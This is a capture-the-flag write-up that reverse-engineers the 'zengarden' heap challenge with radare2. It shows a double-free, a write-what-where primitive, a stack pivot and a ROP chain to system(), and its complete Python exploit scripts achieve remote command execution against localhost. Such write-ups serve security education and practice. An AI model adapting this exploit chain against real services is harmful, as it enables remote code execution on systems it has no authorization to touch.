I was looking for a nice binary to experiment with heap exploitation, when crowell told me about Zengarden.
Running the binary
If you try to run the binary, it will just hang. Running it with strace will yields some socket-related errors. Since this is a ctf binary, I wouldn't be surprised if it's meant to be run with some socat black magic:
$ socat TCP-LISTEN:2323,reuseaddr,fork EXEC:'strace -i -f ./zengarden'
Then, in another terminal:
$ nc localhost 2323
wow, _______ _ __
welcome your |_ / _ \ '_ \
to / / __/ | | |
/___\___|_| |_| garden
[a]dd, [d]elete, [p]erform or [q]uit?
Yay!
What is this ?
Since it seems that the binary is written in C++ and likely compiled with G++, we can grep for _Z to find non-standard symbols.
[0x08048da0]> afl~_Z
0x08048c00 6 1 sym.imp._ZNSt8ios_base4InitD1Ev
0x08048e8c 114 7 sym._Z8find_fitj
0x08048efe 95 3 sym._Z8bkmallocj
0x08048f5d 32 1 sym._Z6bkfreePv
0x080491ff 91 1 sym._Z11simplePrintPc
0x0804925a 667 15 sym._Z9addObjectv
0x080494f5 144 5 sym._Z12deleteObjectv
0x08049585 354 9 sym._Z13performActionv
0x080496e7 65 1 sym._Z10readNbytesj
0x08049728 63 4 sym._Z41__static_initialization_and_destruction_0ii
0x08048bc0 6 1 sym.imp._ZNSt8ios_base4InitC1Ev
0x08049783 8 1 sym._ZnwjPv
0x080498f4 100 1 sym._ZN4Tree4treeEv
0x08049958 99 3 sym._ZN6Person3actEv
0x080499bc 142 2 sym._ZN6Person8exerciseEPc
0x08049a4a 14 1 sym._ZN4PondC1Ev
0x08049a58 14 1 sym._ZN4TreeC2Ev
0x08049a66 14 1 sym._ZN6PersonC2Ev
0x080497f0 113 2 sym._ZN4RakeC1Ev
0x08049862 146 3 sym._ZN4Rake3sayEv
0x0804978c 99 1 sym._ZN4Pond4gazeEv
- find_fit is used to find an empty chunk to allocate an object
- bkmalloc is a custom malloc implementation
- bkfree is (obviously) a custom free implementation
- simplePrint prints the given char on stdout
- addObject adds an object (duh)
- deleteObject removes an object
- performAction calls the first method of an object
- readNbytes reads a given amount of bytes
So, we can add objects, delete them, and call their first method. It's also worth noticing that the pond's action is to disclose its memory address.
How can we get a shell now?
Finding the vuln'
Since I was asking for a heap-related issue, I guess that we should take a look at malloc and free.
It took me quite some time to actually find the vuln (and to be honest, I used IDA Pro a bit).
bkfree
[0x08048da0]> pdf @ sym._Z6bkfreePv
╒ (fcn) sym._Z6bkfreePv 32
│ ; CALL XREF from 0x0804956e (unk)
│ 0x08048f5d 55 push ebp
│ 0x08048f5e 89e5 mov ebp, esp
│ 0x08048f60 83ec10 sub esp, 0x10
│ 0x08048f63 8b4508 mov eax, dword [ebp + 8]
│ 0x08048f66 83e808 sub eax, 8
│ 0x08048f69 8945fc mov dword [ebp - 4], eax
│ 0x08048f6c 8b45fc mov eax, dword [ebp - 4]
│ 0x08048f6f 8b4004 mov eax, dword [eax + 4]
│ 0x08048f72 8d5001 lea edx, dword [eax + 1]
│ 0x08048f75 8b45fc mov eax, dword [ebp - 4]
│ 0x08048f78 895004 mov dword [eax + 4], edx
│ 0x08048f7b c9 leave
╘ 0x08048f7c c3 ret
[0x08048da0]>
This code is a bit tricky to understand, but it's roughly equivalent to:
*(eax - 8 + 4) += 1
return eax - 8
We can guess that eax is a pointer to a structure, and that the eax - 4 fields indicates whether the chunk is free of not.
It could be interesting to see where this function is called, with the axt
command,
and then to see from what function, with the fd
one:
[0x08048da0]> axt sym._Z6bkfreePv
C 0x804956e call sym._Z6bkfreePv
[0x08048da0]> fd 0x804956e
sym._Z12deleteObjectv + 121
Unfortunately, the deleteObject function is a bit long:
[0x08048da0]> pdf @ sym._Z12deleteObjectv
╒ (fcn) sym._Z12deleteObjectv 144
│ ; CALL XREF from 0x080491d6 (unk)
│ 0x080494f5 55 push ebp
│ 0x080494f6 89e5 mov ebp, esp
│ 0x080494f8 83ec28 sub esp, 0x28
│ 0x080494fb c7042486a20. mov dword [esp], str.which_slot__0_4__n ; "which slot, 0-4?." @ 0x804a286
│ 0x08049502 e8f8fcffff call sym._Z11simplePrintPc
│ 0x08049507 c7042402000. mov dword [esp], 2
│ 0x0804950e e8d4010000 call sym._Z10readNbytesj
│ 0x08049513 8945f4 mov dword [ebp - 0xc], eax
│ 0x08049516 8b45f4 mov eax, dword [ebp - 0xc]
│ 0x08049519 0fb600 movzx eax, byte [eax]
│ 0x0804951c 8845f3 mov byte [ebp - 0xd], al
│ 0x0804951f 0fb645f3 movzx eax, byte [ebp - 0xd]
│ 0x08049523 83e830 sub eax, 0x30
│ 0x08049526 8845f3 mov byte [ebp - 0xd], al
│ 0x08049529 807df300 cmp byte [ebp - 0xd], 0
│ ┌─< 0x0804952d 7806 js 0x8049535
│ │ 0x0804952f 807df304 cmp byte [ebp - 0xd], 4
│ ┌──< 0x08049533 7e0e jle 0x8049543
│ │└─> 0x08049535 c7042498a20. mov dword [esp], str.sorry__invalid_slot__try_with_more_zen__n ; "sorry, invalid slot, try with more zen!." @ 0x804a298
│ │ 0x0804953c e8befcffff call sym._Z11simplePrintPc
│ ┌───< 0x08049541 eb40 jmp 0x8049583 ; (sym._Z12deleteObjectv)
│ │└──> 0x08049543 0fbe45f3 movsx eax, byte [ebp - 0xd]
│ │ 0x08049547 8b0485a0bc0. mov eax, dword [eax*4 + sym.types] ; ".ABI-tag" @ 0x804bca0
│ │ 0x0804954e 85c0 test eax, eax
│ ┌────< 0x08049550 750e jne 0x8049560
│ ││ 0x08049552 c7042478a30. mov dword [esp], 0x804a378
│ ││ 0x08049559 e8a1fcffff call sym._Z11simplePrintPc
│ ┌─────< 0x0804955e eb23 jmp 0x8049583 ; (sym._Z12deleteObjectv)
│ │└────> 0x08049560 0fbe45f3 movsx eax, byte [ebp - 0xd]
│ │ │ 0x08049564 8b04858cbc0. mov eax, dword [eax*4 + sym.items] ; "strtab" @ 0x804bc8c
│ │ │ 0x0804956b 890424 mov dword [esp], eax
│ │ │ 0x0804956e e8eaf9ffff call sym._Z6bkfreePv
│ │ │ 0x08049573 0fbe45f3 movsx eax, byte [ebp - 0xd]
│ │ │ 0x08049577 c70485b4bc0. mov dword [eax*4 + sym.emptied], 1 ; "uild-id" @ 0x804bcb4
│ │ │ 0x08049582 90 nop
│ └─└───> 0x08049583 c9 leave
╘ 0x08049584 c3 ret
[0x08048da0]> psz@0x804a378 # it seems that r2's analysis missed this one
there is nothing in this slot, fill it with zen
So, first, it's asking us what slot we want to free, checking if our choice is between 0 and 4, making sure that there is something in the slot, and finally calling bkfree on it.
Everything seems to be legit.
The twist
Time to check where sym.items is used:
[0x08048da0]> axt sym.items
d 0x804909e mov dword [eax*4 + sym.items], 0
d 0x8049564 mov eax, dword [eax*4 + sym.items]
[0x08048da0]> fd 0x804909e
main + 289
[0x08048da0]>
It seems that the deleteObject nor the bkfree function are changing the "is this chunk used" flag, allowing us to free objects multiple times!
This is where I used IDA a bit, because currently, radare2's analysis engine is being reworked, so it missed a few references.
How does this allow us to gain a shell?
- Create a big object
- Free it
- Create a smaller object. It will likely be allocated within the chunk of the first one.
- Free the first one a second time
- Create a smaller object than the first one. It will likely be allocated in the same chunk than the second one, allowing us to overwrite some parts of it.
- We now have two objects living in the same chunk.
Getting a crash
import socket
import time
s = socket.create_connection(('127.0.0.1', 2323))
print('Add rake in slot 0')
s.send('a\n')
s.send('r\n')
s.send('0\n')
print('Delete rake')
s.send('d\n')
s.send('0\n')
print('Add pond in slot 1')
s.send('a\n')
s.send('p\n')
s.send('1\n')
print('Getting offset of the pond')
s.send('p\n')
s.send('1\n')
print(s.recv(1000))
print('Deleting the rake again')
s.send('d\n')
s.send('0\n')
print('Sending payload')
s.send('a\n')
s.send('s\n')
s.send('2\n')
s.send('A'*1024 + '\n')
time.sleep(0.5)
print('Executing payload')
s.send('p\n')
s.send('1\n')
Launching this, we get:
[...]
recv(0, "2\n", 2, 0) = 2
send(1, "tell me what you want on the sig"..., 35, 0) = 35
fstat64(0, {st_mode=S_IFSOCK|0777, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff773e000
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 1025
open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = 3
writev(3, [{"*** Error in `", 14}, {"./zengarden", 11}, {"': ", 3}, {"realloc(): invalid pointer", 26}, {": 0x", 4}, {"0930b008", 8}, {" ***\n", 5}], 7*** Error in `./zengarden': realloc(): invalid pointer: 0x0930b008 ***
) = 71
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff773d000
rt_sigprocmask(SIG_UNBLOCK, [ABRT], NULL, 8) = 0
gettid() = 28077
tgkill(28077, 28077, SIGABRT) = 0
--- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=28077, si_uid=1000} ---
+++ killed by SIGABRT +++
2014/12/15 17:00:39 socat[28073] E write(3, 0xf02410, 2): Broken pipe
Yay!
Controlling EIP
Ok, now that we can crash the thing, how can we control EIP? Time to read the Vudo malloc tricks, the Malloc Des-maleficarum, to corrupt some heap-metadata? Nop, there is a easier way.
Write-what-where
[0x08048da0]> afl~Sign
[0x08048da0]>
This is weird, the Sign object has no constructor? The sym._Z9addObjectv is a bit long to be fully posted here, but it's basically a switch-case that creates objects. Here is the Sign part:
[0x08048da0]> pd 19 @ 0x080493f2
│ 0x080493f2 c7042414a30. mov dword [esp], str.tell_me_what_you_want_on_the_sign__n ; "tell me what you want on the sign:." @ 0x804a314
│ 0x080493f9 e801feffff call sym._Z11simplePrintPc
│ 0x080493fe c7042416030. mov dword [esp], 0x316
│ 0x08049405 e8f4faffff call sym._Z8bkmallocj
│ 0x0804940a 8945d4 mov dword [ebp - 0x2c], eax
│ 0x0804940d c745d015030. mov dword [ebp - 0x30], 0x315
│ 0x08049414 a16cbc0408 mov eax, dword [sym.stdin__GLIBC_2.0] ; ".7-2) 4.4.7" @ 0x804bc6c
│ 0x08049419 89442408 mov dword [esp + 8], eax
│ 0x0804941d 8d45d0 lea eax, dword [ebp - 0x30]
│ 0x08049420 89442404 mov dword [esp + 4], eax
│ 0x08049424 8d45d4 lea eax, dword [ebp - 0x2c]
│ 0x08049427 890424 mov dword [esp], eax
│ 0x0804942a e801f8ffff call sym.imp.getline
│ 0x0804942f 0fbe45eb movsx eax, byte [ebp - 0x15]
│ 0x08049433 c70485a0bc0. mov dword [eax*4 + sym.types], 3 ; ".ABI-tag" @ 0x804bca0
│ 0x0804943e 0fbe45eb movsx eax, byte [ebp - 0x15]
│ 0x08049442 8b55d4 mov edx, dword [ebp - 0x2c]
│ 0x08049445 8914858cbc0. mov dword [eax*4 + sym.items], edx ; "strtab" @ 0x804bc8c
│ 0x0804944c e9a2000000 jmp 0x80494f3 ; (sym._Z9addObjectv)
[0x08048da0]>
It seems to be a nice write-what-where primitive, since it's simply a wrapper around getline(3). So, using the offset of the pond, we can write to offset + 4 (The address of the function triggered by the perform action) to control the EIP.
import socket
import struct
import time
import re
s = socket.create_connection(('127.0.0.1', 2323))
print('Add rake in slot 0')
s.send('a\n')
s.send('r\n')
s.send('0\n')
print('Delete rake in slot 0')
s.send('d\n')
s.send('0\n')
print('Add pond in slot 1')
s.send('a\n')
s.send('p\n')
s.send('1\n')
print('Getting offset of the pond in slot 1')
s.send('p\n')
s.send('1\n')
time.sleep(0.5)
a = s.recv(1000)
r = re.compile('you gaze into the pond and see reflection of (0x[0-9a-f]+)')
offset = int(r.search(a).group(1), 16)
print '[+] offset of the pond in slot 1 : ' + hex(offset)
print('Deleting the rake again in slot 0')
s.send('d\n')
s.send('0\n')
payload = struct.pack('<I', offset+4) + struct.pack('<I', 0x41414141)
payload += 'B'*4
print('Sending payload within a sign in slot 2')
s.send('a\ns\n2\n' + payload + '\n')
time.sleep(0.5)
s.recv(1000)
print('Executing payload by performing in slot 1')
s.send('p\n')
s.send('1\n')
Resulting in:
[...]
[f76f3ca0] recv(0, "s\n", 2, 0) = 2
[f76f3ca0] send(1, "which slot, 0-4?\n", 17, 0) = 17
[f76f3ca0] recv(0, "2\n", 2, 0) = 2
[f76f3ca0] send(1, "tell me what you want on the sig"..., 35, 0) = 35
[f76f3ca0] fstat64(0, {st_mode=S_IFSOCK|0777, st_size=0, ...}) = 0
[f76f3ca0] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff76f0000
[f76f3ca0] read(0, "\fp\322\tAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 788
[f76f3ca0] send(1, "[a]dd, [d]elete, [p]erform or [q"..., 38, 0) = 38
[f76f3ca0] recv(0, "p\n", 2, 0) = 2
[f76f3ca0] send(1, "which slot, 0-4?\n", 17, 0) = 17
[f76f3ca0] recv(0, "1\n", 2, 0) = 2
[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
[????????????????] +++ killed by SIGSEGV +++
Yay!
Stack pivoting
We're controlling EIP, time to find a stack pivot to ROP our way to system("/bin/sh").
If you attach r2 to the process (I put a raw_input
right before triggering the vuln.)
with r2 dbg://$(pidof zengarden)
and examine the context, you'll notice that:
- eax = eip
- edx is pointing to our payload
- esp+4 is also pointing to our payload
Unlike a classical stack-based buffer-overflow, we have to take control of the stack using a single gadget here.
I was looking for something elegant when I stumbled upon the simplePrint function:
[0x08048da0]> pdf@sym._Z11simplePrintPc
╒ (fcn) sym._Z11simplePrintPc 91
│ ; XREFS: CALL 0x08049267 CALL 0x080492ba CALL 0x080492f4
│ ; XREFS: CALL 0x08049334 CALL 0x08049314 CALL 0x080492a9
│ ; XREFS: CALL 0x08049502 CALL 0x0804953c CALL 0x08049559
│ ; XREFS: CALL 0x08049592 CALL 0x080495cc CALL 0x0804960c
│ ; XREFS: CALL 0x080495ec
│ 0x080491ff 55 push ebp
│ 0x08049200 89e5 mov ebp, esp
│ 0x08049202 53 push ebx
│ 0x08049203 81ece4000000 sub esp, 0xe4
│ 0x08049209 8b4508 mov eax, dword [ebp + 8]
│ 0x0804920c 89442404 mov dword [esp + 4], eax
│ 0x08049210 8d852cffffff lea eax, dword [ebp - 0xd4]
│ 0x08049216 890424 mov dword [esp], eax
│ 0x08049219 e802f9ffff call sym.imp.sprintf
│ 0x0804921e 8945f4 mov dword [ebp - 0xc], eax
│ 0x08049221 8b5df4 mov ebx, dword [ebp - 0xc]
│ 0x08049224 a180bc0408 mov eax, dword [sym.stdout__GLIBC_2.0] ; sym.stdout__GLIBC_2.0
│ 0x08049229 890424 mov dword [esp], eax
│ 0x0804922c e8dff8ffff call sym.imp.fileno ; (fcn.08048b0c)
│ 0x08049231 895c2408 mov dword [esp + 8], ebx
│ 0x08049235 8d952cffffff lea edx, dword [ebp - 0xd4]
│ 0x0804923b 89542404 mov dword [esp + 4], edx
│ 0x0804923f 890424 mov dword [esp], eax
│ 0x08049242 e8f30c0000 call sym.ctf_send
│ ┌─< 0x08049247 eb08 jmp 0x8049251 ; (sym._Z11simplePrintPc)
│ │ 0x08049249 890424 mov dword [esp], eax
│ │ 0x0804924c e81ffbffff call sym.imp._Unwind_Resume
│ └─> 0x08049251 81c4e4000000 add esp, 0xe4
│ 0x08049257 5b pop ebx
│ 0x08049258 5d pop ebp
╘ 0x08049259 c3 ret
It's a simple wrapper around a sprintf call, that writes on the stack. So the trick is to call this function without his prologue, with a large input, triggering a stack-based buffer-overflow, and granting us an execution of our own fake stack.
Since I'm lazy, I used a De Bruijn pattern to get the right offset.
Just add the output of ragg2 -P 256 -r
to the payload
variable before the
payload += 'B'*4
line.
# r2 dbg://$(pidof zengarden)
r_debug_select: 30926 30926
pid = 30926 tid = 30926
[0xf7787ca0]> dc
r_debug_select: 30926 1
[+] signal 11 aka SIGSEGV received
[0x6c41416b]> dr=
eip 0x6c41416b oeax 0xffffffff eax 0x00000109 ebx 0x68414167
ecx 0x00000000 edx 0xffb9d75d esp 0xffb9d6cc ebp 0xffb9d728
esi 0x41694141 edi 0x41416a41 eflags = 1SIV
[0x6c41416b]> woO eip
108
[0x6c41416b]>
So, we have to send 108 chars of padding before overwriting the return address of the simplePrint function.
ROP chain
As usual:
- Get a GOT address. It seems that the classic relocation to use is __libc_start_main. You can get its offset with
pd 1 @ reloc.__libc_start_main
. - Compute the delta to system.
- Write our payload somewhere.
- Call system with our previously-written payload as argument.
Executing the second-stage
Since ASLR is enabled system-wide, we have to leak the adress of system before calling it. This means that our ROP-payload will consists (at least) in two parts: the leak and the call.
I could of course return to the "pivot" gadget, but I wanted to try something else that I saw on Eindbazen's Ropasaurus Rex writeup: pop ebp ; ret and leave ; ret. Remember that leave ; ret is equivalent to mov esp, ebp ; pop ebp ; ret. Both gadgets are quite common, since they are used in epilogues.
The trick is to call a writing primitive to put [system][exit][command]
somewhere,
and to use it as a fake stack with the help of the two aforementioned gadgets.
This is way more elegant than a ret-to-vuln!
Writing the ROP-chain
Getting a GOT address
[0x08048da0]> pd 1 @ reloc.__libc_start_main_188
;-- reloc.__libc_start_main_188:
0x0804bbbc e68b out -0x75, al ; RELOC 32 __libc_start_main
[0x08048da0]>
Computing system's offset
$ r2 /lib/i386-linux-gnu/libc.so.6
[0x00019be0]> is~name=system
vaddr=0x00055ac0 paddr=0x0003e770 ord=1443 fwd=NONE sz=56 bind=UNKNOWN type=FUNC name=system
[0x00019be0]> is~__libc_start_main
vaddr=0x00030ce0 paddr=0x00019990 ord=2259 fwd=NONE sz=454 bind=GLOBAL type=FUNC name=__libc_start_main
[0x00019be0]>
Finding where to write our payload
[0x08048da0]> iS~w
idx=19 vaddr=0x0804ba60 paddr=0x00002a60 sz=8 vsz=8 perm=-rw- name=.init_array
idx=20 vaddr=0x0804ba68 paddr=0x00002a68 sz=4 vsz=4 perm=-rw- name=.fini_array
idx=21 vaddr=0x0804ba6c paddr=0x00002a6c sz=4 vsz=4 perm=-rw- name=.jcr
idx=22 vaddr=0x0804ba70 paddr=0x00002a70 sz=264 vsz=264 perm=-rw- name=.dynamic
idx=23 vaddr=0x0804bb78 paddr=0x00002b78 sz=4 vsz=4 perm=-rw- name=.got
idx=24 vaddr=0x0804bb7c paddr=0x00002b7c sz=176 vsz=176 perm=-rw- name=.got.plt
idx=25 vaddr=0x0804bc2c paddr=0x00002c2c sz=8 vsz=8 perm=-rw- name=.data
idx=26 vaddr=0x0804bc40 paddr=0x00002c34 sz=140 vsz=140 perm=-rw- name=.bss
idx=32 vaddr=0x0804ba60 paddr=0x00002a60 sz=4096 vsz=4096 perm=-rw- name=phdr1
idx=33 vaddr=0x08048000 paddr=0x00000000 sz=52 vsz=52 perm=-rw- name=ehdr
[0x08048da0]>
I chose the .dynamic segment.
Exploit
import re
import socket
import struct
import sys
import time
def rop(*args):
return struct.pack('I'*len(args), *args)
cmd = 'id'
if len(sys.argv) > 1:
cmd = sys.argv[1]
s = socket.create_connection(('127.0.0.1', 2323))
# Local offsets of symbols
local__libc_start_main = 0x19990
local_system = 0x3e770
system_offset = local__libc_start_main - local_system
pivot = 0x08049210
plt_gets = 0x08048bb0
plt_exit = 0x08048d90
plt_simplePrint = 0x080491ff
got__libc_start_main = 0x0804bbbc
write_addr = 0x0804ba70
popret = 0x804a088
popebpret = 0x0804a088
leaveret = 0x0804a0a5
print('[*] Adding rake in slot 0')
s.send('a\n')
s.send('r\n')
s.send('0\n')
print('[*] Deleting rake in slot 0')
s.send('d\n')
s.send('0\n')
print('[*] Adding pond in slot 1')
s.send('a\n')
s.send('p\n')
s.send('1\n')
print('[*] Getting offset of the pond in slot 1')
s.send('p\n')
s.send('1\n')
time.sleep(0.5)
r = re.compile('you gaze into the pond and see reflection of (0x[0-9a-f]+)')
offset = int(r.search(s.recv(1000)).group(1), 16)
print '[+] offset of the pond in slot 1 : ' + hex(offset)
print('[*] Deleting the rake again in slot 0')
s.send('d\n')
s.send('0\n')
ropchain = rop(
plt_simplePrint,
popret,
got__libc_start_main,
plt_gets,
popret,
write_addr,
popebpret,
write_addr,
leaveret
)
payload = struct.pack('<I', offset+4) + struct.pack('<I', pivot)
payload += 'A' * 108 # padding before overwriting the return address of simplePrint
payload += ropchain
payload += 'B'*4
print('[*] Sending payload within a sign in slot 2')
s.send('a\ns\n2\n' + payload + '\n')
time.sleep(0.5)
s.recv(1000)
print('[*] Executing payload by performing in slot 1')
s.send('p\n')
s.recv(1000)
s.send('1\n')
time.sleep(0.5)
leaked_got = struct.unpack('<I', s.recv(4))[0]
print('[+] GOT at 0x%08x' % leaked_got)
system = leaked_got - system_offset
print('[+] system(2) at 0x%08x' % system)
buf = rop(
0x42424242, # new value of ebp, we don't care.
system,
popret,
write_addr + 5*4,
plt_exit,
) + cmd + '\0'
s.send(buf + '\n')
time.sleep(.5)
print s.recv(1000)
s.close()
Resulting in:
$ python exploit.py uptime
[*] Adding rake in slot 0
[*] Deleting rake in slot 0
[*] Adding pond in slot 1
[*] Getting offset of the pond in slot 1
[+] offset of the pond in slot 1 : 0x9e0a008
[*] Deleting the rake again in slot 0
[*] Sending payload within a sign in slot 2
[*] Executing payload by performing in slot 1
[+] GOT at 0xf7490990
[+] system(2) at 0xf74b5770
03:53:17 up 7:18, 10 users, load average: 0.04, 0.20, 0.32
I added some sleep because I was too lazy to read the documentation about sockets in Python.
Conclusion
Quite a nice challenge, despite the fact that it took me way too much time to pwn it, thank you crowell!